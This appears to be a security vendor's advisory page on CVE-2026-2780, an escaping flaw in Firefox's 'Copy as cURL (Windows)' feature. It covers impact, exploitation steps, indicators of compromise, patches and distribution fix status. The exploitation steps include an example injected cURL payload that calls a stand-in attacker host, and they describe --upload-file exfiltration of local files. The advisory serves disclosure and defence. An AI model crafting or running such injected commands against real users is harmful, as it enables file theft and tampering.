CVE-2026-2780
NixOS vulnerability analysis and mitigation

Overview

CVE-2026-2780 is an argument injection vulnerability in the Firefox DevTools Netmonitor component, specifically in the "Copy as cURL (Windows)" feature, that allows privilege escalation and arbitrary file read/write. It was discovered by RyotaK of GMO Flatt Security Inc. and disclosed on February 24, 2026. Affected products include Firefox before 148, Firefox ESR before 140.8, Thunderbird before 148, and Thunderbird ESR before 140.8. Mozilla rated the impact as moderate, while NVD assigned a CVSS v3.1 base score of 9.8 (Critical) (Mozilla MFSA2026-13, Mozilla MFSA2026-15, Mozilla Bugzilla).

Technical details

The root cause is improper privilege management (CWE-269) stemming from an incomplete escaping routine in Firefox's devtools/client/shared/curl.js. When generating a Windows-style cURL command via the Netmonitor's "Copy as cURL" feature, the escape function replaces " with \" to handle Microsoft CRT argument parsing, but fails to first escape the backslash character \ itself. As a result, a request body containing \" is escaped to \\", which the CRT parser interprets as a literal backslash followed by an unescaped double-quote, breaking out of the quoted argument and allowing injection of arbitrary cURL arguments. An attacker who can cause a victim to capture a malicious network request in DevTools and then copy and execute the resulting cURL command can inject options such as --output or --upload-file to achieve arbitrary file write or read on the victim's Windows system (Mozilla Bugzilla).

Impact

Successful exploitation enables an attacker to inject arbitrary cURL command-line arguments into a command that a developer or user executes on their Windows system. Using options like --output (arbitrary file write) or --upload-file (arbitrary file read/exfiltration), an attacker can read sensitive local files (e.g., C:\Windows\win.ini, credential files) or overwrite arbitrary files with attacker-controlled content. The vulnerability is limited to Windows users who use the DevTools Netmonitor "Copy as cURL (Windows)" feature and subsequently execute the copied command, but the consequences for affected users include full confidentiality and integrity compromise of local files (Mozilla Bugzilla, Mozilla MFSA2026-13).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date (Feedly). The vulnerability requires social engineering: an attacker must trick a victim into visiting a malicious page, capturing a network request in DevTools, copying the cURL command for Windows, and executing it in a command prompt — making mass exploitation unlikely. The EPSS score is approximately 0.018% (very low probability of exploitation in the next 30 days). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. A security bounty was awarded to the reporter, confirming the bug's validity (Mozilla Bugzilla).

Exploitation steps

  1. Craft a malicious web page: Create an HTML page that, when loaded in Firefox, sends an HTTP request with a specially crafted body containing \" followed by injected cURL arguments (e.g., \" --output C:\\evil.txt --url https://attacker.com/payload).
  2. Deliver the page to the target: Trick a developer or power user (who uses Firefox DevTools) into opening the malicious page — for example, via phishing, a malicious link, or a compromised website.
  3. Instruct the victim to open DevTools Netmonitor: The attacker (via social engineering, fake error messages, or instructions) convinces the victim to open Firefox DevTools (F12) and navigate to the Network tab.
  4. Trigger the malicious request: The page automatically sends the crafted request, which appears in the Netmonitor. The victim is instructed (or tricked) into right-clicking the request and selecting "Copy as cURL (Windows)".
  5. Victim executes the injected command: The victim pastes and runs the copied command in a Windows Command Prompt. Due to the improper escaping, the injected cURL arguments (e.g., --output or --upload-file) are parsed by cURL, resulting in arbitrary file read (exfiltration to attacker's server) or file write on the victim's system (Mozilla Bugzilla).

Indicators of compromise

  • Network: Unexpected outbound HTTP/HTTPS connections from a developer workstation to unknown external hosts initiated by curl.exe, particularly carrying file contents as request bodies (indicating --upload-file usage).
  • File System: Unexpected new or modified files in user-accessible directories created by curl.exe processes, especially if the file content matches attacker-controlled payloads.
  • Logs: Windows Event Logs or process creation logs (Sysmon Event ID 1) showing curl.exe spawned from cmd.exe with unusual arguments including --output, --upload-file, or multiple --url flags pointing to external hosts.
  • Process: curl.exe processes with command-line arguments that include file paths to sensitive system files (e.g., C:\Windows\win.ini, %APPDATA%\*) as upload targets.

Mitigation and workarounds

Mozilla has released patches addressing this vulnerability. Users should upgrade to Firefox 148 or later, Firefox ESR 140.8 or later, Thunderbird 148 or later, or Thunderbird ESR 140.8 or later. No configuration-based workaround is available; the fix consists of a corrected JavaScript escaping routine in curl.js that properly escapes backslash characters before escaping double quotes. Organizations should prioritize patching all Firefox and Thunderbird installations, particularly on Windows systems used by developers who regularly use DevTools (Mozilla MFSA2026-13, Mozilla MFSA2026-15, Mozilla Bugzilla).

Community reactions

The vulnerability was reported by RyotaK of GMO Flatt Security Inc. through Mozilla's bug bounty program and was awarded a security bounty, indicating recognition of its validity and impact. Mozilla classified the severity as "moderate" in its advisories, which contrasts with the NVD's CVSS 9.8 Critical score — a discrepancy likely reflecting Mozilla's assessment that exploitation requires significant user interaction (social engineering to execute a copied command). Multiple Linux distributions (Debian, SUSE, Red Hat, AlmaLinux, Rocky Linux, Slackware, Oracle Linux, Amazon Linux) and scanner vendors (Tenable Nessus, Qualys) rapidly issued advisories and detection plugins following the February 24, 2026 disclosure (Mozilla MFSA2026-13, Mozilla Bugzilla).

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

Debian

Fixed

bookworm

thunderbird: 1:140.8.0esr-1~deb12u1

Fixed

sid

thunderbird: 1:140.8.0esr-1

Fixed

trixie

thunderbird: 1:140.8.0esr-1~deb13u1

Fixed

Ubuntu

Affected

bionic (esm-apps)

mozjs38

Unknown

devel

firefox

Not Affected

jammy

thunderbird

Affected

noble

firefox

Not Affected

questing

firefox

Not Affected

resolute

firefox

Not Affected

RHEL / CentOS

Fixed

RHEL 8

:appstream:firefox-0:140.8.0-2.el8_10.src

Fixed

RHEL 9

:appstream:firefox-0:140.8.0-2.el9_0.src

Fixed

RHEL 10

firefox-0:140.8.0-2.el10_0.src

Fixed

SourceThis report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86738CRITICAL9.3
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86734HIGH7.1
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86735MEDIUM5.9
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86737MEDIUM5.3
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86736MEDIUM5.3
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management